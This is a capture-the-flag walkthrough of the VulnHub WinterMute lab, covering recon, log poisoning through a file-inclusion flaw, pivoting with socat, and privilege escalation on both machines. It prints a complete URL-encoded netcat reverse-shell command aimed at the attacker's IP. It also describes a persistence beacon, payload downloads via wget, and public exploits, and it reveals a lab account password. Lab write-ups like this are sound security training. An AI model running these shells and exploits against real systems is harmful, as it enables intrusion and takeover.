WinterMute: 1

VulnHub URL: https://www.vulnhub.com/entry/wintermute-1,239/

Hostname: HOST1: straylight, HOST2: neuromancer

IP Address: HOST1: 10.183.0.211/192.168.56.102, HOST2: 192.168.56.101

Information Gathering/Recon

The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.211.

Service Enumeration/Scanning

Gaining Access

Looking at the services and software versions detected by nmap, I notice:

I'll start by scanning the HTTP service on TCP port 80 with nikto.

Nikto didn't find anything that interesting, so I'll see if there are some other directories using dirb. Unfortunately, dirb didn't find anything helpful either.

Checking the default site, we have a fun "storyline" printed to the screen, but not much to "hack".

I'll move on to the ntopng service and see if there are some leads there. Visiting the default site for the HTTP service on TCP port 3000, we are greeted with a login screen.

The "Hint" at the bottom of the login form also lets us know the default credentials. 😄

After logging in and digging around, we notice the following Info under Flows.

The Info column has some URLs that wouldn't have turned up in our brute force scanning. I'm going to check them out.

The http://10.183.0.211/freeside/ URL doesn't return anything interesting, but the http://10.183.0.211/turing-bolo/ page has an interactive form.

Selecting "Case" and clicking Submit takes me to http://10.183.0.211/turing-bolo/bolo.php?bolo=case

This page provides a "log" of activity, but also mentions logs for other users from the dropdown list.

Modifying the querystring in the URL, we can load the other user's log file by just changing the 'bolo' variable. We can also load the .log files directly by just specifying the file: http://10.183.0.211/turing-bolo/case.log

This tells us the PHP code for bolo.php is likely just taking the 'bolo' parameter from the URL and appending ".log" to it to know which file to load. If that's the case, we might be able to use parent paths to load any ".log" file on the system... if we know where they are. Since we know this system has a mail service available, let's start by trying to load 'mail.log' from /var/log. To do that, our URL will be: http://10.183.0.211/turing-bolo/bolo.php?bolo=/var/log/mail. Notice we don't put 'mail.log', since the PHP code is appending '.log' when loading the file.

That worked! Now that we know we can load the mail log through PHP, the next step is to try to get PHP code into the mail log. We can see in the log that the mail service is using Postfix version 3.1.8, so let's check the exploit database.

This exploit doesn't match our version number, but does match what we want to do. The python script sets a "payload" in several of the possible SMTP headers which, if we can get any of those headers to show up in the log, might allow us to get command execution. Let's try it out.

I copy the script to my working directory and run it to see the parameters it wants. Now I'll try to set up a simple PHP command processor in the mail log.

If this worked, we should be able to request the mail log with an additional 'cmd' parameter to execute a system command. Let's try it with the 'id' command.

Looks like it worked!

Now we can use the command execution to try to get a reverse shell. First, we'll start our listeners in Metasploit. I like to use two listeners because the first one (established through a web request) can often timeout pretty quickly.

Next, we'll build our URL with our system command that will use netcat to establish the reverse shell. I'll URL encode the following command.

Then make the request to http://10.183.0.211/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.183.0.222%205432%20%3E%2Ftmp%2Ff

And we have our session...

Maintaining Access

Since there isn't a SSH service available, I won't be able to SSH to the box with this account. I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

I uploaded the script to the victim's /var/www/html/turing-bolo directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

Privilege Escalation

One of the first things I like to do is check the $PATH for programs with the "sticky" bit set and root as the owner. These program can sometimes be used (abused) to gain root access. To do that, I run the following command.

Most of these are typical, but the one that stands out is screen (with a helpful version number in the name). Checking the exploit database, we happen to have a known privilege escalation issue with this version.

I copy the shell script to my working directory and then use python's SimpleHTTPServer to transfer it to the victim's /tmp directory.

On the victim, I use wget to pull down the file, make it executable, and then try to run it, but get an error...

Errors like this are typically due to bad line endings (windows instead of unix). I'll run dos2unix on the script on my local machine and re-download it on the victim.

Now I'll try to run it again...

And it worked! 😄

Let's get the flag from /root.

In most cases, we'd be done now, but this challenge involves two VMs. The second VM is not accessible on the local network and can only be reached by pivoting through our compromised VM.

We even have a note.txt in our /root directory that continues the "storyline".

This note gives us the URL we'll target on our second machine. Now, we just have to figure out how to get there.

Pivoting

The first thing we need to do is determine which networks are available from our compromised system. There are lots of ways we can do that, but we'll start with ifconfig.

It looks like the new subnet we'll be trying to reach is 192.168.56.0/24. We'll do a very quick ping sweep (all hosts in parallel) from the victim machine to see what is alive on the subnet.

The .1 address is likely the gateway, so we'll target the 192.168.56.101 address. We'll use netcat on the victim machine to do a quick portscan.

Looks like we have three open ports (the 'openvpn' port just showed up because we grepped 'open'). We'll use socat on our victim to make the open ports on the internal system available to our attacking machine. We'll also open one port on the victim that will allow the internal machine to reach our attacking machine (in case we want to transfer files to it or have it connect back a reverse shell).

Before connecting to the identified HTTP service on TCP port 8080, I'll use netcat to connect to the other two services just to see if we can tell anything about them.

Connecting to TCP port 8009 doesn't return anything. However, connecting to TCP port 34483 returns...

So, we can probably SSH to the server on TCP port 34483 if we get some credentials.

OK. Let's use the URL from our note in /root and visit http://10.183.0.211:8080/struts2_2.3.15.1-showcase

The site exists and looks like it has lots of "attack surface". Let's check the exploit database.

Looks like we have a known remote code issue with the demo site. Not a big surprise. I'll copy the python script and see what we need to do to make it work.

Looks like the script wants a URL and a CMD. That doesn't probably tell me enough about what it's going to do, so I'll dig more into the code. There is a comment at the bottom of the code that gives me a good example.

I'll go ahead and start a listener in metasploit on the one port the protected system can reach me on (thanks to socat).

Now it is time to craft my script parameters. You never know if a host is going to support the -e option of netcat, so we might have to try multiple different types of reverse shell. Also note, we are sending the reverse shell back to 192.168.56.102, which should relay that to our attacking machine. First, we'll try the following...

Well, no session was created in Metasploit. Not a big surprise. Let's see if we can start a shell using perl or python.

Nope! To be honest, these commands are pretty complex and probably more than the Java interpreter will allow. Maybe we can call wget and have the server download a reverse shell payload, then make a second call to execute the payload.

We'll use msfvenom to create our reverse shell payload. We don't know the architecture of the remote system, but the victim we've already compromised in x64, so we'll start with that.

We'll use the python SimpleHTTPServer to host our payload and hope the remote system has wget so it can download it. Also, because we only opened one port back to our attacking machine, we'll have to stop our Metasploit listener on TCP port 4321 so we can start our SimpleHTTPServer. Once we've transferred the file, we can restart the listener.

We transfer the file... AND set it as executable... (in two separate calls)...

Stop the SimpleHTTPServer and restart our Metasploit listener... then try to execute the file...

Checking Metasploit and...

It worked! We have our session on the remote machine.

Checking /etc/passwd, we find out the following about our account.

Looks like we should be able to set up SSH keys for our account and SSH to the system over TCP port 34483.

Now we will SSH to the system on our published socket through the original victim...

Nice to be in a fully functional shell! 😎

Checking the running kernel and os...

There's one very specific issue listed in the exploit database that seems to match...

Even though it is listed as "< 4.4.0-116", looking at the code, it seems to be tested against kernel 4.4.0-116. Unfortunately, gcc is not available on the remote machine.

I'll see if I can cross compile the exploit and transfer it to the remote machine using the SimpleHTTPServer.

And on the remote machine...

We have root! Let's get the flag.

Clean Up

On straylight...

*** STOP /var/www/html/turing-bolo/thumbs ***

*** REMOVE /var/www/html/turing-bolo/thumbs ***

*** STOP all socat processes ***

On neuromancer...

*** STOP /tmp/pwn ***

*** REMOVE /tmp/pwn ***

*** STOP /tmp/pwn2 ***

*** REMOVE /tmp/pwn2 ***

Additional Info

Checking the tomcat-users.xml file in /usr/local/tomcat/conf on neuromancer, we see the credentials for Lady3Jane (along with a funny message).

The decoded string translates to '>!Xx3JanexX!<'. Since lady3jane is a valid account on the server, I tried to SSH to the server using those credentials... and it worked.